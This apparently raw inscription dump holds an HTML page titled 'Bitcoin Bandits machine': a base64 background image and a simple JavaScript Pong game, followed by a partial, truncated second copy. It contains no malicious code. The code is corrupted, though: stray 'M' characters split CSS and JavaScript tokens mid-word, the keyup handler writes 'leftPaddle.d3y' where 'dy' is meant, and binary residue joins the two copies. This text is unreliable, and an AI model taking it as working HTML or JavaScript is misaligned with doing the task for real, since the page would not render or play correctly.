<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAAWgAAAFoCAYAAAB65WHVAAAT0klEQVR4nO3dX6wcV3kA8JOA48Yh1k1slNRq44bAdW2LNKqFKupasqyqforJAw5tI7WEElVUSBUInKr8MS4KKg4UkJB4SFpHqqCh5gHhhzZtdbGahgoht8hVbHxT13IoTqo4iWWIg+NA+nC9s+fmznh39u7sfLv7+73cs7OzZ869tj59+805Z67aunPXawmAcK5uewAAlBOgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCEqABghKgAYISoAGCemPbAyCuJx77VttDM
YEi27tzV9hAYgAwaICgBGiAoJQ6qSxnvfX+3/cjDRfPO759ueEQMy6E71rc9BJZBBg0QlAANEJQSx5QpLWfkpYwaDp39cdHe9Ocni/a+G64r2rs/evMV+6j6XC7vo3N+1bm9lPXVRn97X3yp73P7uUZ+zp1rr79if4wPGTRAUAI0QFBKHBOqr5kZHbdtLj/35JPLH8i55xvvY/d9K4r2pv3ninZp6aCP8eT99TTg71erpDKMvyFjSQYNEJQMegLUuvFXlS035bkzPU5YVbOPkvN7vV/33J5jrlLe3+67nksppbTpQPf9PIPuecOwzu/HRJFBAwQlQAMEpcQxRoZy42/tleclp7PP1htUL1l/mw69pWh3vsrvTS8t+ciVx/SW+u/XPXfgv0Gv/nqMrUqd34+JIoMGCEqABghKiSOgWqWMlMrLGVWljDevW3ps4FkLfehVUulDWWkkd/Df3t59ccPyx9PrernODI3lXrPRzzO2ZNAAQQnQAEEpcbRsKItMyr4Cl5UyM
UkppZk23PYolxIvGcW6gLo7tmSnaey8v5V60k1udpd59jKfsesvpr3POsT3dQ7uztzftL/9YrWswkWTQAEEJ0ABBKXGMSKOLTMrKGXkpo0UHH7rUfVFSIuhrV7dFv8u5+u/XPbfR/soM4RpMJBk0QFAy6CEb+RzmlOply0H2Fu7s4NZPBj276pplvV/33IMPZkure4yvn/7qjA9yMmiAoARogKCu2rpz12ttD2JcNTaHOZeXNYZRyihb1l21e1v+yKtHHi6ad37/dP/joFWH7lifUkpp685dLY+EQcigAYISoAGCMoujD6OYw7xovnBm74vnslfd9rHP3Lb05LysUbVDXa/N6Pt4knfnazPQLBk0QFACNEBQShyvs+yZGQMvMqn5HLyyWRp5WaOf5+qVlTOy2Rq5HTt29Dkw2jA3N1d63OyN8SaDBghKgAYIampLHI3NzKi5X8ZQ9mnolDb6WXCSKylnKGXEppQxXWTQAEEJ0ABBTVWJY1FZo6mZGTVLGRtWrSzvM
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
5ubmWhhJ8w4cOFC0p33nvdl13Ztw27Z1d6LLbwb+9de/OcohpbTiTVd8O79pOfKxZWTQAEEJ0ABBKXG0LH9K+DSZpq/90/S71vGdoycG+lyvHeyqnllYZf7M8wONYxRk0ABBCdAAQSlxtGzDqpVtD6FVvv5Pl2Es4+61g10/ZY1eRrHcvB8yaICgBGiAoJQ4WrZl9bVtDwEISgYNEJQADRCUEseQHDn/ckoppc0Dfg7g9WTQAEHJoJfhxIWLIfoAukvAJ+lJ3zJogKAEaICglDhqmr/wSuj+YFpNUmmjQwYNEJQADRCUEkc/zjW4oXeTfcMEqrsh/ziTQQMEJUADBKXEUeW5MwN9bPddda9zYaDrwLSa9LJGTgYNEJQADRCUEsfrnX227REApJRk0ABhyaBTSunkk22PACbWgQMHSo9v3blrqNfpzI8e9CbiqMZZhwwaICgBGiCoqSpx5F9Vnnjk4RZHEsvc3FzbQ+Cy/N+iza/W42gS50fLoAGCEqABgrpq685dM
r7U9CACWkkEDBCVAAwQlQAMEJUADBCVAAwQlQAMEJUADBCVAAwQlQAMEJUADBCVAAwQlQAMEJUADBCVAAwQlQAMEJUADBCVAAwQlQAMEJUADBCVAAwQlQAMEJUADBCVAAwQlQAMEJUADBCVAAwQlQAMEJUADBCVAAwQlQAME9f+m+QJwizcbfgAAAABJRU5ErkJggg==" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;M
var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.heighM
t);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}eM
lse if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,cM
anvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.d3y=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
